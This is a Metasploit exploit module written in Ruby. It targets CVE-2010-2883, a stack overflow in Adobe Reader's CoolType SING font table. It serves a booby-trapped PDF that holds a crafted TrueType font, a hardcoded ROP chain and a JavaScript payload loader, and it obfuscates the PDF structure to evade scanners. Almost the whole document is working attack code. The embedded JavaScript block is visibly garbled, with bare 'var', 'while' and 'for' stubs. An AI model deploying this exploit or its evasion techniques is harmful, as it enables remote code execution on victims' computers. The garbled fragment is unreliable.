require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
'Description'=> %q{
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
assumed to be vulnerable as well.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Unknown',
'@sn0wfl0w',
'@vicheck',
'jduck'
],
'Version'=> '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2010-2883' ],
[ 'OSVDB', '67849'],
[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Payload'=>
{
'Space'=> 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Sep 07 2010',
'DefaultTarget'=> 0))
end
def exploit
path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
@ttf_data = fd.read(fd.stat.size)
fd.close
super
end
def on_request_uri(cli, request)
print_status("Sending crafted PDF to #{cli.peerhost}:#{cli.peerport}")
ttf_data = make_ttf()
js_data = make_js(regenerate_payload(cli).encoded)
pdf = make_pdf(ttf_data, js_data)
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })
handler(cli)
end
def make_ttf
ttf_data = @ttf_data.dup
sing = ''
sing << [
0, 1,
0xe01,
0x100,
0,
0,
0,
0x3a00
].pack('vvvvvvvv')
sing << rand_text(0x254 - sing.length)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
ret = 0x4a80cb38
sing[0x208, 4] = [ret].pack('V')
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
sing[0x24c, 4] = [0x6c].pack('V')
ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing
ttf_data
end
def make_js(encoded_payload)
stack_data = [
0x41414141,
0x4a8063a5,
0x4a8a0000,
0x4a802196,
0x4a801f90,
0x4a84903c,
0x4a80b692,
0x4a801064,
0x4a8522c8,
0x10000000,
0x00000000,
0x00000000,
0x00000002,
0x00000102,
0x00000000,
0x4a8063a5,
0x4a801064,
0x4a842db2,
0x4a802ab1,
0x00000008,
0x4a80a8a6,
0x4a801f90,
0x4a849038,
0x4a80b692,
0x4a801064,
0xffffffff,
0x00000000,
0x00000040,
0x00000000,
0x00010000,
0x00000000,
0x4a8063a5,
0x4a801064,
0x4a842db2,
0x4a802ab1,
0x00000008,
0x4a80a8a6,
0x4a801f90,
0x4a849030,
0x4a80b692,
0x4a801064,
0xffffffff,
0x00000022,
0x00000000,
0x00000000,
0x00010000,
0x4a8063a5,
0x4a8a0004,
0x4a802196,
0x4a8063a5,
0x4a801064,
0x4a842db2,
0x4a802ab1,
0x00000030,
0x4a80a8a6,
0x4a801f90,
0x4a8a0004,
0x4a80a7d8,
0x4a8063a5,
0x4a801064,
0x4a842db2,
0x4a802ab1,
0x00000020,
0x4a80a8a6,
0x4a8063a5,
0x4a801064,
0x4a80aedc,
0x4a801f90,
0x00000034,
0x4a80d585,
0x4a8063a5,
0x4a801064,
0x4a842db2,
0x4a802ab1,
0x0000000a,
0x4a80a8a6,
0x4a801f90,
0x4a849170,
0x4a80b692,
0xffffffff,
0xffffffff,
0xffffffff,
0x00001000,
].pack('V*')
var_unescape= rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js = %Q|
var
var
var
while (
while(
var
for (
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj \n" % id
end
def ioRef(id)
"%d 0 R" % id
end
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(ttf, js)
xref = []
eol = "\n"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(11) << eol
pdf << nObfu("/AcroForm ") << ioRef(13) << eol
pdf << nObfu(">>") << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(3)
pdf << "[0 0 595 842]" << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(4)
pdf << nObfu("<<") << eol
pdf << nObfu("/Font ") << ioRef(6) << eol
pdf << ">>" << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(6) << nObfu("<<") << eol
pdf << nObfu("/F1 ") << ioRef(7) << eol
pdf << ">>" << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(7) << nObfu("<<") << eol
pdf << nObfu("/Type /Font") << eol
pdf << nObfu("/Subtype /TrueType") << eol
pdf << nObfu("/Name /F1") << eol
pdf << nObfu("/BaseFont /Cinema") << eol
pdf << nObfu("/Widths []") << eol
pdf << nObfu("/FontDescriptor ") << ioRef(9)
pdf << nObfu("/Encoding /MacRomanEncoding")
pdf << nObfu(">>") << eol
pdf << endobj
content = "Hello World!"
content = "" +
"0 g" + eol +
"BT" + eol +
"/F1 32 Tf" + eol +
"32 Tc" + eol +
"1 0 0 1 32 773.872 Tm" + eol +
"(" + content + ") Tj" + eol +
"ET"
xref << pdf.length
pdf << ioDef(8) << "<<" << eol
pdf << nObfu("/Length %s" % content.length) << eol
pdf << ">>" << eol
pdf << "stream" << eol
pdf << content << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(9) << nObfu("<<")
pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << nObfu("/FontBBox [-177 -269 1123 866]")
pdf << nObfu("/FontFile2 ") << ioRef(10)
pdf << nObfu(">>") << eol
pdf << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ttf)
pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(11) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
pdf << nObfu(">>") << eol
pdf << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << ioDef(13)
pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol
pdf << endobj
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
xref << pdf.length
pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end